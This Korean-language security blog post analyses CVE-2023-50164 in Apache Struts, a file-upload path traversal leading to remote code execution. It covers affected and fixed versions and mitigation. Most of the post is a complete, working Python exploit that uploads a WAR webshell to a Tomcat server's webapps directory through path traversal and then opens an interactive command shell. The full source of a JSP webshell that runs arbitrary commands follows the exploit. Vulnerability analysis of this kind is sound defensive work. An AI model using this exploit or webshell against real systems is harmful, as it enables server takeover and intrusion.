1. Apache Struts
- Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크
2. 취약점
- 파일 업로드 매개변수 조작을 통해 경로 순회를 활성화하여 원격 코드 실행이 가능한 임의의 파일을 업로드할 수 있는 취약점 (CVSS: 9.8)
- 해당 취약점이 동작하기 위해서는 ① 취약한 버전 Apache Struts의 파일 업로드 기능을 사용하며 ② setter 루틴을 사용하는 사용자 정의 논리가 구현되어 있어야 하는 것으로 판단됨
영향받는 버전
- Apache Struts 6.0.0 ~ 6.3.0
- Apache Struts 2.5.0 ~ 2.5.32
- Apache Struts 2.0.0 ~ 2.3.37 EOL_제품 서비스가 종료되어 유지보수, 버그 수정, 보안 업데이트 등이 이루어지지 않음
2.1 취약점 상세 [3][4][5][6]
- 파일 업로드시 Struts 인터셉터 FileUploadInterceptor를 통해 파일 업로드 관련 매개변수를 추출
> FileUploadInterceptor는 파일 업로드 관련 매개변수를 HttpParameters에 매핑 [2]
> 매핑 과정에서 매개변수의 대ㆍ소문자를 구분할 경우 덮어쓰기를 유발하는 것으로 판단됨
- 공격자는 POST 메소드를 이용해 /upload/upload.action 경로로 조작된 요청을 전송
> "Upload" 및 "uploadFileName"을 처리하는 과정에서 덮어쓰기가 발생
> 업로드 파일 덮어쓰기 및 경로 순회가 발생해 임의의 위치로 이동하여 파일 업로드가 가능해짐
2.2 PoC [7]
- 지정된 경로에 웹쉘 등 파일 업로드 후 연결을 시도하며, 200 반환시 쉘 획득
import os
import sys
import time
import string
import random
import argparse
import requests
from urllib.parse import urlparse, urlunparse
from requests_toolbelt import MultipartEncoder
from requests.exceptions import ConnectionError
MAX_ATTEMPTS = 10
DELAY_SECONDS = 1
HTTP_UPLOAD_PARAM_NAME = "upload"
CATALINA_HOME = "/opt/tomcat/"
NAME_OF_WEBSHELL = "webshell"
NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + ".war"
NUMBER_OF_PARENTS_IN_PATH = 2
def get_base_url(url):
parsed_url = urlparse(url)
base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, "", "", "", ""))
return base_url
def create_war_file():
if not os.path.exists(NAME_OF_WEBSHELL_WAR):
os.system("jar -cvf {} {}".format(NAME_OF_WEBSHELL_WAR, NAME_OF_WEBSHELL+'.jsp'))
print("[+] WAR file created successfully.")
else:
print("[+] WAR file already exists.")
def upload_file(url):
create_war_file()
if not os.path.exists(NAME_OF_WEBSHELL_WAR):
print("[-] ERROR: webshell.war not found in the current directory.")
exit()
war_location = '../' * (NUMBER_OF_PARENTS_IN_PATH-1) + '..' + \
CATALINA_HOME + 'webapps/' + NAME_OF_WEBSHELL_WAR
war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()
files = {
HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.txt", war_file_content, "application/octet-stream"),
HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
}
boundary = '----WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
m = MultipartEncoder(fields=files, boundary=boundary)
headers = {"Content-Type": m.content_type}
try:
response = requests.post(url, headers=headers, data=m)
print(f"[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.")
except requests.RequestException as e:
print("[-] Error while uploading the WAR webshell:", e)
sys.exit(1)
def attempt_connection(url):
for attempt in range(1, MAX_ATTEMPTS + 1):
try:
r = requests.get(url)
if r.status_code == 200:
print('[+] Successfully connected to the web shell.')
return True
else:
raise Exception
except ConnectionError:
if attempt == MAX_ATTEMPTS:
print(f'[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting...')
return False
time.sleep(DELAY_SECONDS)
except Exception:
if attempt == MAX_ATTEMPTS:
print('[-] Maximum attempts reached. Exiting...')
return False
time.sleep(DELAY_SECONDS)
return False
def start_interactive_shell(url):
if not attempt_connection(url):
sys.exit()
while True:
try:
cmd = input("\033[91mCMD\033[0m > ")
if cmd == 'exit':
raise KeyboardInterrupt
r = requests.get(url + "?cmd=" + cmd, verify=False)
if r.status_code == 200:
print(r.text.replace('\n\n', ''))
else:
raise Exception
except KeyboardInterrupt:
sys.exit()
except ConnectionError:
print('[-] We lost our connection to the web shell. Exiting...')
sys.exit()
except:
print('[-] Something unexpected happened. Exiting...')
sys.exit()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-50164 by uploading a webshell to a vulnerable Struts app's server.")
parser.add_argument("--url", required=True, help="Full URL of the upload endpoint.")
args = parser.parse_args()
if not args.url.startswith("http"):
print("[-] ERROR: Invalid URL. Please provide a valid URL starting with 'http' or 'https'.")
exit()
print("[+] Starting exploitation...")
upload_file(args.url)
webshell_url = f"{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp"
print(f"[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>")
print(f"[+] Attempting a connection with webshell.")
start_interactive_shell(webshell_url)
- 웹쉘은 cmd 매개변수로 명령을 전달받아 명령 수행 결과를 반환
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if (cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd, null, null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = sI.readLine()) != null) {
output += s + "\n";
}
} catch (IOException e) {
e.printStackTrace();
}
}
%>
<%=output %>
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [8]
> 업로드 후 임시 파일이 삭제되도록 보장
> HttpParameters 클래스가 매개 변수 이름을 대소문자 구분하지 않도록 변경
제품명 | 영향받는 버전 | 해결 버전 |
Struts | 6.0.0 ~ 6.3.0 | 6.3.0.2 |
2.0.0 ~ 2.3.37(EOL) 2.5.0 ~ 2.5.32 |
2.5.33 |
- 파일 업로드 구성 검토 (업로드 파일 크기 제한 등 검토)
- 모니터링 (snort rule 적용 등 비정상적인 시도 모니터링 및 차단)
4. 참고
[1] https://nvd.nist.gov/vuln/detail/CVE-2023-50164
[2] https://struts.apache.org/core-developers/file-upload-interceptor
[3] https://www.vicarius.io/vsociety/posts/apache-struts-rce-cve-2023-50164
[4] https://attackerkb.com/topics/pe3CCtOE81/cve-2023-50164/rapid7-analysis?referrer=notificationEmail
[5] https://xz.aliyun.com/t/13172#toc-5
[6] https://www.wealthymagnate.com/cve-2023-50164/
[7] https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71262&menuNo=205020
[9] https://www.boannews.com/media/view.asp?idx=124844&page=2&kind=1
'취약점 > File Up&Download, Inclusion' 카테고리의 다른 글
이니텍 INISAFE CrossWeb EX V3 파일 다운로드 취약점 (0) | 2023.03.31 |
---|---|
VMware vCenter Server 파일 업로드 취약점 (CVE-2021-21972) (0) | 2023.01.15 |
File Upload 취약점_webshell 추가 (0) | 2022.10.12 |
File Inclusion (DVWA실습) (0) | 2022.10.12 |
File Upload 취약점_webshell (0) | 2022.10.10 |